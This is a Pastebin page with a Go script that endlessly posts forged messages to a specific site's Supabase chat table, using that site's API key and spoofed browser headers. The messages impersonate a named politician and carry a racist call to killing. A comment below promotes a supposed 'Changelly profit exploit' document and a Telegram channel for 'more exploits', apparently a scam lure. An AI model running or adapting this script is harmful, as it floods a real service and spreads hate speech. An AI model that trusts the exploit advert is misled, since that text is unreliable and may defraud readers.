Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package main
- import (
- "bytes"
- "context"
- "encoding/json"
- "fmt"
- "log"
- "net/http"
- "os"
- "os/signal"
- "strconv"
- "syscall"
- "time"
- )
- type Message struct {
- ID string `json:"id"`
- UserID string `json:"user_id"`
- Username string `json:"username"`
- AvatarURL string `json:"avatar_url"`
- Content string `json:"content"`
- Timestamp string `json:"timestamp"`
- Rank string `json:"rank"`
- }
- func main() {
- // Base message data (fields that stay the same)
- baseMsg := Message{
- UserID: "1",
- Username: "BENJAMIN NETENHAHU",
- AvatarURL: "https://cdn.discordapp.com/attachments/1203395559650500619/1486272777441771610/28544975c28a1644426761da53c1f1fa.png?ex=69d0c463&is=69cf72e3&hm=f347f62fa77d488765dbcd4a3980e0ba5bd9ceaa1d4cc63f8a7f8f675ea3953d&",
- Content: "Glory to israel",
- Timestamp: "KILL NIGERS",
- Rank: "user",
- }
- client := &http.Client{Timeout: 30 * time.Second}
- // Context for graceful shutdown on Ctrl+C
- ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
- defer stop()
- var iteration int
- for {
- select {
- case <-ctx.Done():
- fmt.Println("\nš Quitting...")
- return
- default:
- }
- iteration++
- // Generate a unique ID: current Unix millisecond + counter
- // This avoids collisions even if two messages are sent in the same millisecond.
- uniqueID := strconv.FormatInt(time.Now().UnixMilli(), 10) + "-" + strconv.Itoa(iteration)
- msg := baseMsg
- msg.ID = uniqueID
- jsonBody, err := json.Marshal(msg)
- if err != nil {
- log.Printf("ā Marshal error (iteration %d): %v", iteration, err)
- time.Sleep(1 * time.Second)
- continue
- }
- req, err := http.NewRequestWithContext(ctx, "POST",
- "https://uulnerzaymwxlqghmpgy.supabase.co/rest/v1/messages",
- bytes.NewReader(jsonBody))
- if err != nil {
- log.Printf("ā Request creation error (iteration %d): %v", iteration, err)
- time.Sleep(1 * time.Second)
- continue
- }
- // Set all headers exactly as provided
- req.Header.Set("accept", "*/*")
- req.Header.Set("accept-language", "nl-NL,nl;q=0.7")
- req.Header.Set("apikey", "sb_publishable_t1IAhALQ85FQ_5I7fOdHCA_8jh3by-z")
- req.Header.Set("authorization", "Bearer sb_publishable_t1IAhALQ85FQ_5I7fOdHCA_8jh3by-z")
- req.Header.Set("content-profile", "public")
- req.Header.Set("content-type", "application/json")
- req.Header.Set("priority", "u=1, i")
- req.Header.Set("sec-ch-ua", `"Chromium";v="146", "Not-A.Brand";v="24", "Brave";v="146"`)
- req.Header.Set("sec-ch-ua-mobile", "?0")
- req.Header.Set("sec-ch-ua-platform", `"Windows"`)
- req.Header.Set("sec-fetch-dest", "empty")
- req.Header.Set("sec-fetch-mode", "cors")
- req.Header.Set("sec-fetch-site", "cross-site")
- req.Header.Set("sec-gpc", "1")
- req.Header.Set("x-client-info", "supabase-js-web/2.99.3")
- req.Header.Set("Referer", "https://tapflip-frontend.vercel.app/")
- resp, err := client.Do(req)
- if err != nil {
- log.Printf("ā Request failed (iteration %d): %v", iteration, err)
- time.Sleep(1 * time.Second)
- continue
- }
- // Read body for debugging (optional)
- // bodyBytes, _ := io.ReadAll(resp.Body)
- resp.Body.Close()
- if resp.StatusCode >= 200 && resp.StatusCode < 300 {
- log.Printf("ā Iteration %d: success (status %s) with ID %s", iteration, resp.Status, uniqueID)
- } else {
- log.Printf("ā ļø Iteration %d: unexpected status %s (ID %s)", iteration, resp.Status, uniqueID)
- }
- // Prevent flooding ā adjust or remove as needed
- time.Sleep(500 * time.Millisecond)
- }
- }
Advertisement
Comments
-
- ā Changelly Profit Exploit Documentation ā
- https://docs.google.com/document/d/1MzFoZVdCI0pv3Bkf4dAe-WjfaXKLNbI90hzSGKBqn9M/edit?usp=wfccgqquto
- This exploit can be used to make a profit by using an older node that has a bug in the exchange rates of some coins.
- The funniest thing about this is that such a big platform like Changelly uses the password "admin" to access the node loader.
- Join our Telegram Channel for more exploits: https://t.me/byprotocol
Add Comment
Please, Sign In to add comment